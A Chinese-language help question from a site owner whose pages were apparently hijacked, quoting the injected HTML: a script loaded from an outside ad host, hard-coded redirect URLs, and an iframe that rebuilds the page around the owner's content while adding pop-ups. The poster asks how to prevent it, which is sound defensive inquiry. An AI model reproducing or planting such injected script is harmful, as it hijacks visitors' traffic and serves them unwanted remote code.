网站被劫持,头部加入弹窗广告,body 被清空,只留一个 iframe,框入我的内容

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script src="http://j.qiqiww.com/i.php?z=10295"></script>
<script>url = {a: "http://120.27.28.39/hh/kd580102.html", m: "http://www.123.com/"};
var _xus = "Y1zOwBolM1s9dBFpzkiUM3gO";
var _xai = "0";</script>
<script>function goURLa(a) {
var desturl = (a === 2 ? url.a : url.m);
if (desturl.slice(desturl.length - 1) == "/") desturl = desturl.slice(0, desturl.length - 1);
return "<html></head><script>document.location.replace(\"" + desturl + "\");<\/script><\/html>"
}
;</script>
</head>
<body style='margin:0px;overflow-x:hidden;overflow-y:hidden;'>
<iframe src='JavaScript:parent.goURLa(1)' scrolling=auto width='100%' height='100%' frameborder='no' onload=''
style='position:fixed;'></iframe>
</body>
</html>

源码变成上面那样.表面看,内容就还是我的内容,但是加了弹窗了

有什么技术变成防止吗?